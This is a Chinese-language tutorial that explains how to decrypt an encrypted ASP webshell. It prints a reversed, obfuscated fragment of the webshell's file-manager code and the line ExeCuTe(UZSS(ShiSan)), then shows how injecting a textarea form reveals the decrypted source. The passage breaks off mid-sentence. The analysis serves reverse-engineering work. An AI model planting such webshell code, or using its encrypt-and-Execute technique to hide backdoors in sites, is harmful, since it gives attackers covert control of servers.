asp木马代码解密的随机加密webshell

t;)emaNF,↙↙！在存否是件文意注,称名全件文bdM的缩压要入输请↙↙(tpmorp = emaND{)↙↙bdMtcapmoC↙↙==noitcAF(fi esle};emaND = eulav.emaNF.mrofedih.pot;)emaNF,↙↙！名同能不意注,称名全件文bdM的建新要入输请↙↙(tpmorp = emaND{)↙↙bdMetaerC↙↙==noitcAF(fi esle};emaND = eulav.emaNF.mrofedih.pot;)emaNF,↙↙称名全夹件文的建新要入输请↙↙(tpmorp = emaND{)↙↙redloFweN↙↙==noitcAF(fi esle};emaND+↙↙||||↙↙ =+ eulav.emaNF.mrofedih.pot;)emaNF,↙↙称名全夹件文标目到动移入输请↙↙(tpmorp = emaND{)↙↙redloFevoM↙↙==noitcAF(fi esle};emaND+↙↙||||↙↙ =+ eulav.emaNF.mrofedih.pot;)emaNF,↙↙称名全夹件文标目到动移入输请↙↙(tpmorp = emaND{)↙↙redloFypoC↙↙==noitcAF(fi esle};emaND+↙↙||||↙↙ =+ eulav.emaNF.mrofedih.pot;)emaNF,↙↙称名全件文标目到动移入输请↙↙(tpmorp = emaND{)↙↙eliFevoM↙↙==noitcAF(fi esle};emaND+↙↙||||↙↙ =+ eulav.emaNF.mrofedih.pot;)emaNF,↙↙称名全件文标目到制复入输请↙↙(tpmorp = emaND{)↙↙eliFypoC↙↙==noitcAF(fi;emaNF = eulav.emaNF.mrofedih.pot{)noitcAF,emaNF(mroFlluF noitcnuf↙SRR∞↙};)(timbus.mrofrdda.pot;redloF = eulav.htaPredloF.mrofrdda.pot{)redloF(redloFwohS noitcnuf↙SRR∞↙;)(kcolCnur};yalpsid+↙↙-- ↙&DA&↙→↙↙=sutats.wodniw;)(gnirtSelacoLot.yadot =yalpsid rav;)(etaD wen = yadot rav;)001 ,↙↙)(kcolCnur↙↙(tuoemiTtes.wodniw = emiTeht{)(kcolCnur noitcnuf↙SRR∞↙};eslaf nruter esle;eurt nruter))↙↙？吗作操此行执要认确↙↙(mrifnoc( fi{)(kosey noitcnuf↙SRR∞↙;srorrEllik=rorreno.wodniw};eurt nruter{)(srorrEllik noitcnuf>tpircsavaj=egaugnal tpircs<↙SRR∞↙>elyts/<↙SRR∞↙};xp11:ezis-tnof;888#:roloc{ma.↙SRR∞↙}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a↙SRR∞↙}000000# :ROLOC-ESAB-RABLLORCS;cfcf00# :ROLOC-WODAHSKRAD-RABLLORCS;000000# :ROLOC-KCART-RABLLORCS;cfcf00# :ROLOC-WORRA-RABLLORCS;cfcf00# :ROLOC-WODAHS-RABLLORCS;cfcf00# :ROLOC-THGILHGIH-RABLLORCS;000000# :ROLOC-ECAF-RABLLORCS{ YDOB↙SRR∞↙};xp4:tfel-nigram;xp0 :nigram{ydob↙SRR∞↙}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.↙SRR∞↙}xp0:redrob;000000#:roloc-dnuorgkcab{C.↙SRR∞↙}fff# dilos xp1:redrob;↙&udub&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{aeratxet,tceles,tupni↙SRR∞↙};↙&zw&↙:roloc;↙&jb&↙:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob↙SRR∞↙>↙↙ssc/txet↙↙=epyt elyts<↙SRR∞↙>eltit/< ↙&PIrevreS&↙ - ↙&emaNm&↙>eltit<↙SRR∞↙>↙↙2132bg=tesrahc ;lmth/txet↙↙=tnetnoc ↙↙epyT-tnetnoC↙↙=viuqe-ptth atem<>lmth<↙SRR"

ExeCuTe(UZSS(ShiSan))

可以看到开头部分是上个函数代码的末尾，ShiSan是加密字串，我们的加密对象，他们包含在一对括号之中，ExeCuTe(UZSS(ShiSan)) 就是执行解密函数和代码的语句。如果我们此时截获UZSS(ShiSan))，那么不就是明白了吗？因为ExeCuTe执行的肯定是标准代码，那么我们可以这样构造代码，在
复制代码 代码如下:
ExeCuTe(UZSS(ShiSan))

后面添加这个代码
复制代码 代码如下:
%><form name=pw>
<textarea cols="100" rows="20" name="minwen" value="<%=UZSS(ShiSan)%>"></textarea>
</form><%

那么就可以解密出这个shisan的加密，只要一运行那么就会在textarea中